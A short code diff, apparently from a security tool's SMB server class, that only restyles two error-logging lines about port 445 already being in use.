||||
|
@ -19,9 +19,9 @@ class CMESMBServer(threading.Thread):
|
|||
except Exception as e:
|
||||
errno, message = e.args
|
||||
if errno == 98 and message == 'Address already in use':
|
||||
logger.error('Error starting SMB server on port 445: the port is already in use')
|
||||
logger.error("Error starting SMB server on port 445: the port is already in use")
|
||||
else:
|
||||
logger.error('Error starting SMB server on port 445: {}'.format(message))
|
||||
logger.error(f"Error starting SMB server on port 445: {message}")
|
||||
exit(1)
|
||||
|
||||
def addShare(self, share_name, share_path):
|
||||
|
|
Loading…
Reference in New Issue